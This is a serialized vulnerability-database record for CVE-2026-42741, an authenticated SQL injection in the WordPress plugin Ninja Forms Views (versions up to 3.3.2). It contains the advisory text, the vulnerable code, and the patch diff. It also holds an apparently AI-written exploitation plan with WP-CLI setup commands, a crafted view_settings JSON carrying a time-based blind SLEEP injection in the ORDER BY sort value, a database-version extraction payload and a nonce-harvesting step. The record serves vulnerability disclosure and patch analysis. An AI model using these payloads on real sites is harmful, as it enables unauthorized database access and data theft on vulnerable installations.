[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fx9By8m52SLiDX7THZACZdzKmfRfI8dxH0rqG40fDK6s":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-42741","ninja-forms-views-display-edit-ninja-forms-submissions-on-your-site-frontend-authenticated-contributor-sql-injection","Ninja Forms Views – Display & Edit Ninja Forms Submissions on your site frontend \u003C= 3.3.2 - Authenticated (Contributor+) SQL Injection","The Ninja Forms Views – Display & Edit Ninja Forms Submissions on your site frontend plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.3.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","views-for-ninja-forms",null,"\u003C=3.3.2","3.3.3","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-05-28 00:00:00","2026-06-01 16:07:28",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fe2886f2e-9cf1-4cb4-a0df-197cf65800dd?source=api-prod",5,[22,23,24,25],"inc\u002Fclass-nf-views-shortcode.php","inc\u002Fhelpers.php","nf-form-views.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-42741 (SQL Injection in Ninja Forms Views)\n\n## 1. Vulnerability Summary\nThe **Ninja Forms Views** plugin (versions \u003C= 3.3.2) is vulnerable to an authenticated SQL injection within the `nf_views_lite_get_submissions` function. The vulnerability exists because the plugin fails to sanitize or prepare the `sort` values retrieved from a View's configuration before concatenating them into a `WP_Query` `posts_orderby` filter. An attacker with **Contributor-level** permissions can create or modify a View post, inject a malicious SQL payload into the sorting metadata, and trigger the execution of that payload by viewing the shortcode.\n\n## 2. Attack Vector Analysis\n- **Entry Point**: The `[nf-views id=VIEW_ID]` shortcode.\n- **Vulnerable Sink**: `inc\u002Fhelpers.php`, function `nf_views_lite_get_submissions`.\n- **Payload Delivery**: Through the `view_settings` post meta associated with an `nf-views` custom post type.\n- **Authentication**: Required (Contributor+). Contributors can typically create and edit their own posts of custom post types unless restricted.\n- **Preconditions**:\n    1. A Ninja Form must exist with at least one field of type `date`.\n    2. A \"View\" (post type `nf-views`) must be created and configured to use that form and sort by that date field.\n\n## 3. Code Flow\n1. **Shortcode Execution**: When `[nf-views id=123]` is processed, `NF_Views_Shortcode::shortcode()` in `inc\u002Fclass-nf-views-shortcode.php` is called.\n2. **Metadata Retrieval**: The function retrieves the View configuration:\n   ```php\n   $view_settings_json = get_post_meta( $view_id, 'view_settings', true );\n   $view_settings = json_decode( $view_settings_json );\n   ```\n3. **View Processing**: It calls `get_view($view_settings)`, which extracts the sorting parameters:\n   ```php\n   $sort_order = $view_settings->viewSettings->sort;\n   \u002F\u002F ...\n   foreach ( $sort_order as $sortrrow ) {\n       $args['sort_order'][] = array(\n           'field' => $sortrrow->field,\n           'value' => $sortrrow->value, \u002F\u002F \u003C--- User-controlled value from JSON\n       );\n   }\n   ```\n4. **Submission Retrieval**: It calls `nf_views_lite_get_submissions($args)` in `inc\u002Fhelpers.php`.\n5. **SQL Injection Sink**: If the sorted field's type is `date`, the following logic executes:\n   ```php\n   } elseif ( $form_fields->{$sortfield['field']}->type === 'date' ) {\n       $col_name = 'snfv' . $sortfield['field'] . '.meta_value';\n       $date_col_string = nf_views_cast_to_mysql_date( $args['form_id'], $sortfield['field'], $col_name );\n       $orderby_string .= \"$date_col_string \" . $sortfield['value']; \u002F\u002F \u003C--- UNPROTECTED CONCATENATION\n   }\n   ```\n6. **Query Filter**: The `orderby_string` is passed to the `NF_Views_Query_Modifiers` global and applied via the `posts_orderby` filter during a `WP_Query` call.\n\n## 4. Nonce Acquisition Strategy\nWhile the exploitation of the SQL injection itself occurs when viewing the shortcode (which requires no nonce), the *setup* (creating\u002Fmodifying the View) might require a nonce if done via the admin UI.\n\n1. **Shortcode Discovery**: Identify the shortcode used for Ninja Forms Views: `[nf-views id=...]`.\n2. **Setup Script**:\n   - Create a Ninja Form using WP-CLI.\n   - Create an `nf-views` post using WP-CLI.\n   - Inject the malicious JSON payload directly into the `view_settings` meta key via WP-CLI.\n3. **UI Alternative (if CLI is restricted)**:\n   - Navigate to the \"Views\" creation page: `\u002Fwp-admin\u002Fedit.php?post_type=nf-views`.\n   - The plugin localizes script data into `nf_views_admin` in `nf-form-views.php`:\n     ```php\n     $nf_views_admin = array(\n         'admin_url'    => admin_url(),\n         'create_nonce' => wp_create_nonce( 'nf-views-create' ),\n     );\n     wp_localize_script( 'nf_views_admin', 'nf_views_admin', $nf_views_admin );\n     ```\n   - Use `browser_eval(\"nf_views_admin.create_nonce\")` to obtain the nonce for AJAX save operations.\n\n## 5. Exploitation Strategy\nWe will use a **Time-Based Blind SQL Injection** payload appended to the `ORDER BY` clause.\n\n### Step-by-Step Plan:\n1. **Initial Setup**:\n   - Create a Ninja Form (ID 1) with a \"Date\" field. Note the field ID (likely `1`).\n   - Create an `nf-views` post (ID 100) as a Contributor.\n   - Assign the shortcode `[nf-views id=100]` to a public page (ID 200).\n\n2. **Payload Construction**:\n   Craft a JSON `view_settings` object where the `sort` value contains the injection:\n   ```json\n   {\n     \"formId\": \"1\",\n     \"viewType\": \"table\",\n     \"sections\": { \"beforeloop\": {\"rows\": []}, \"loop\": {\"rows\": [\"r1\"]}, \"afterloop\": {\"rows\": []} },\n     \"rows\": { \"r1\": {\"cols\": [\"c1\"]} },\n     \"columns\": { \"c1\": {\"size\": 12, \"fields\": [\"f1\"]} },\n     \"fields\": { \"f1\": {\"formFieldId\": \"1\", \"label\": \"Date\", \"fieldSettings\": {\"useCustomLabel\": false}} },\n     \"viewSettings\": {\n       \"multipleentries\": {\"perPage\": 10},\n       \"sort\": [\n         {\n           \"field\": \"1\",\n           \"value\": \"ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)\"\n         }\n       ]\n     }\n   }\n   ```\n\n3. **Injection**:\n   - Update the post meta for View 100:\n     `wp post meta update 100 view_settings '[JSON_PAYLOAD]' --format=json`\n\n4. **Trigger**:\n   - Execute an HTTP GET request to the page containing the shortcode.\n   - **Endpoint**: `GET \u002F?p=200` (or the URL of the page with the shortcode).\n\n## 6. Test Data Setup\n1. **Create Form**:\n   `wp eval \"Ninja_Forms()->form()->set_setting('title', 'Exploit Form')->save();\"`\n   (Identify the generated form ID, e.g., 1).\n2. **Create Date Field**:\n   `wp eval \"Ninja_Forms()->form(1)->create_field(array('type'=>'date', 'label'=>'My Date'))->save();\"`\n   (Identify the generated field ID, e.g., 1).\n3. **Create View Post**:\n   `wp post create --post_type=nf-views --post_status=publish --post_title=\"Vulnerable View\"`\n   (Identify the generated View ID, e.g., 100).\n4. **Create Trigger Page**:\n   `wp post create --post_type=page --post_status=publish --post_content=\"[nf-views id=100]\"`\n   (Identify the page URL).\n\n## 7. Expected Results\n- **Response Delay**: The HTTP request to the page with the shortcode should hang for approximately 5 seconds.\n- **SQL Execution**: Monitoring the database logs (if possible) would show a query similar to:\n  `SELECT ... FROM wp_posts ... ORDER BY STR_TO_DATE(...) ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a) LIMIT ...`\n\n## 8. Verification Steps\n1. **Confirm Latency**: Use `http_request` and verify `time_total` is $> 5.0$ seconds.\n2. **Baseline Comparison**: Change the payload to `SLEEP(0)` and verify the response time returns to normal ($\u003C 1.0$ second).\n3. **Data Extraction (Proof of Concept)**:\n   Change the payload to extract the database version:\n   `ASC, (SELECT 1 FROM (SELECT(IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0)))a)`\n   Check if the delay occurs (indicating MySQL 8.x).\n\n## 9. Alternative Approaches\nIf the `date` field path fails (e.g., if Ninja Forms API fails to load during the test), try the \"Else\" branch in `nf_views_lite_get_submissions`:\n```php\n} else {\n    $query_args['meta_query'][ '_field_' . $sortfield['field'] . '_clause' ] = array(\n        'key' => '_field_' . $sortfield['field'],\n    );\n    $orderby[ '_field_' . $sortfield['field'] . '_clause' ] = $sortfield['value'];\n}\n```\nIn this branch, the `$sortfield['value']` is passed into `$query_args['orderby']`. While `WP_Query` handles standard `ASC\u002FDESC` safely, if the plugin version passes this directly to a raw query later (via `posts_orderby` filter), it might still be vulnerable. However, the `date` path is the most certain vector due to direct string concatenation into `$orderby_string`.","The Ninja Forms Views plugin for WordPress is vulnerable to an authenticated SQL injection in versions up to 3.3.2. An attacker with Contributor-level access can inject malicious SQL commands by manipulating the sort order settings within a View's configuration, which are subsequently concatenated into a database query without proper sanitization.","\u002F\u002F inc\u002Fclass-nf-views-shortcode.php lines 65-72\n\t\t\tforeach ( $sort_order as $sortrrow ) {\n\t\t\t\tif ( isset( $sortrrow->field ) ) {\n\t\t\t\t\t$args['sort_order'][] = array(        \u002F\u002F Data is taken directly from the JSON-decoded view_settings meta\n\t\t\t\t\t\t'field' => $sortrrow->field,\n\t\t\t\t\t\t'value' => $sortrrow->value,\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\n---\n\n\u002F\u002F inc\u002Fhelpers.php lines 111-118\n\t\t\t} elseif ( $form_fields->{$sortfield['field']}->type === 'date' ) {\n\t\t\t\t$col_name     = 'snfv' . $sortfield['field'] . '.meta_value';\n\t\t\t\t$join_string .= \" LEFT JOIN {$wpdb->postmeta} AS snfv{$sortfield['field']} ON ( {$wpdb->posts}.ID = snfv{$sortfield['field']}.post_id AND snfv{$sortfield['field']}.meta_key='_field_{$sortfield['field']}')\";\n\n\t\t\t\t$date_col_string = nf_views_cast_to_mysql_date( $args['form_id'], $sortfield['field'], $col_name );\n\t\t\t\t$orderby_string .= \"$date_col_string \" . $sortfield['value']; \u002F\u002F Unsanitized 'value' is concatenated to ORDER BY string\n\n\t\t\t}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fviews-for-ninja-forms\u002F3.3.2\u002Finc\u002Fclass-nf-views-shortcode.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fviews-for-ninja-forms\u002F3.3.3\u002Finc\u002Fclass-nf-views-shortcode.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fviews-for-ninja-forms\u002F3.3.2\u002Finc\u002Fclass-nf-views-shortcode.php\t2026-03-11 16:31:26.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fviews-for-ninja-forms\u002F3.3.3\u002Finc\u002Fclass-nf-views-shortcode.php\t2026-05-08 13:34:52.000000000 +0000\n@@ -65,8 +65,8 @@\n \t\t\tforeach ( $sort_order as $sortrrow ) {\n \t\t\t\tif ( isset( $sortrrow->field ) ) {\n \t\t\t\t\t$args['sort_order'][] = array(\n-\t\t\t\t\t\t'field' => $sortrrow->field,\n-\t\t\t\t\t\t'value' => $sortrrow->value,\n+\t\t\t\t\t\t'field' => nf_views_lite_sanitize_sort_field( $sortrrow->field ),\n+\t\t\t\t\t\t'value' => nf_views_lite_sanitize_sort_direction( $sortrrow->value ),\n \t\t\t\t\t);\n \t\t\t\t}\n \t\t\t}\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fviews-for-ninja-forms\u002F3.3.2\u002Finc\u002Fhelpers.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fviews-for-ninja-forms\u002F3.3.3\u002Finc\u002Fhelpers.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fviews-for-ninja-forms\u002F3.3.2\u002Finc\u002Fhelpers.php\t2026-03-11 16:31:26.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fviews-for-ninja-forms\u002F3.3.3\u002Finc\u002Fhelpers.php\t2026-05-08 13:34:52.000000000 +0000\n@@ -47,6 +47,26 @@\n \n }\n \n+function nf_views_lite_sanitize_sort_direction( $direction ) {\n+\t$direction = strtoupper( trim( (string) $direction ) );\n+\n+\tif ( in_array( $direction, array( 'ASC', 'DESC' ), true ) ) {\n+\t\treturn $direction;\n+\t}\n+\n+\treturn 'ASC';\n+}\n+\n+function nf_views_lite_sanitize_sort_field( $field ) {\n+\t$field = (string) $field;\n+\n+\tif ( in_array( $field, array( 'submission_id', 'entryId', 'entryDate' ), true ) ) {\n+\t\treturn $field;\n+\t}\n+\n+\treturn (string) absint( $field );\n+}\n+\n \n \u002F**\n  * Get submissions based on specific critera.\n@@ -76,28 +96,31 @@\n \t\t$orderby = array();\n \n \t\tforeach ( $args['sort_order'] as $sortfield ) {\n-\t\t\tif ( $sortfield['field'] === 'submission_id' || $sortfield['field'] === 'entryId' ) {\n+\t\t\t$sort_field     = nf_views_lite_sanitize_sort_field( $sortfield['field'] );\n+\t\t\t$sort_direction = nf_views_lite_sanitize_sort_direction( $sortfield['value'] );\n+\n+\t\t\tif ( $sort_field === 'submission_id' || $sort_field === 'entryId' ) {\n \t\t\t\tif ( ! isset( $query_args['meta_query']['seq_num_clause'] ) ) {\n \t\t\t\t\t$query_args['meta_query']['seq_num_clause'] = array(\n \t\t\t\t\t\t'key'  => '_seq_num',\n \t\t\t\t\t\t'type' => 'numeric',\n \t\t\t\t\t);\n \t\t\t\t}\n-\t\t\t\t$orderby['seq_num_clause'] = $sortfield['value'];\n-\t\t\t} elseif ( $sortfield['field'] === 'entryDate' ) {\n-\t\t\t\t$orderby['date'] = $sortfield['value'];\n-\t\t\t} elseif ( $form_fields->{$sortfield['field']}->type === 'date' ) {\n-\t\t\t\t$col_name     = 'snfv' . $sortfield['field'] . '.meta_value';\n-\t\t\t\t$join_string .= \" LEFT JOIN {$wpdb->postmeta} AS snfv{$sortfield['field']} ON ( {$wpdb->posts}.ID = snfv{$sortfield['field']}.post_id AND snfv{$sortfield['field']}.meta_key='_field_{$sortfield['field']}')\";\n+\t\t\t\t$orderby['seq_num_clause'] = $sort_direction;\n+\t\t\t} elseif ( $sort_field === 'entryDate' ) {\n+\t\t\t\t$orderby['date'] = $sort_direction;\n+\t\t\t} elseif ( ! empty( $sort_field ) && isset( $form_fields->{$sort_field} ) && $form_fields->{$sort_field}->type === 'date' ) {\n+\t\t\t\t$col_name     = 'snfv' . $sort_field . '.meta_value';\n+\t\t\t\t$join_string .= \" LEFT JOIN {$wpdb->postmeta} AS snfv{$sort_field} ON ( {$wpdb->posts}.ID = snfv{$sort_field}.post_id AND snfv{$sort_field}.meta_key='_field_{$sort_field}')\";\n \n-\t\t\t\t$date_col_string = nf_views_cast_to_mysql_date( $args['form_id'], $sortfield['field'], $col_name );\n-\t\t\t\t$orderby_string .= \"$date_col_string \" . $sortfield['value'];\n+\t\t\t\t$date_col_string = nf_views_cast_to_mysql_date( $args['form_id'], $sort_field, $col_name );\n+\t\t\t\t$orderby_string .= \"$date_col_string \" . $sort_direction;\n \n \t\t\t} else {\n-\t\t\t\t$query_args['meta_query'][ '_field_' . $sortfield['field'] . '_clause' ] = array(\n-\t\t\t\t\t'key' => '_field_' . $sortfield['field'],\n+\t\t\t\t$query_args['meta_query'][ '_field_' . $sort_field . '_clause' ] = array(\n+\t\t\t\t\t'key' => '_field_' . $sort_field,\n \t\t\t\t);\n-\t\t\t\t$orderby[ '_field_' . $sortfield['field'] . '_clause' ]                  = $sortfield['value'];\n+\t\t\t\t$orderby[ '_field_' . $sort_field . '_clause' ]                  = $sort_direction;\n \t\t\t}\n \t\t}\n \t\tif ( ! empty( $orderby ) ) {","The exploit requires Contributor-level authentication to create or modify a 'View' (custom post type `nf-views`). The attacker crafts a malicious `view_settings` JSON object and saves it as the post meta for the View. Within this JSON, the `viewSettings.sort` array must contain an entry where the `field` points to a Ninja Form field of type `date`, and the `value` contains an SQL payload (e.g., a time-based sleep command). When the attacker or any visitor views a page containing the shortcode `[nf-views id=VIEW_ID]`, the plugin processes the shortcode, retrieves the malicious settings, and executes the SQL payload by concatenating it into the `ORDER BY` clause of the submission query.","gemini-3-flash-preview","2026-06-04 16:11:50","2026-06-04 16:12:27",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","3.3.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fviews-for-ninja-forms\u002Ftags\u002F3.3.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fviews-for-ninja-forms.3.3.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fviews-for-ninja-forms\u002Ftags\u002F3.3.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fviews-for-ninja-forms.3.3.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fviews-for-ninja-forms\u002Ftags"]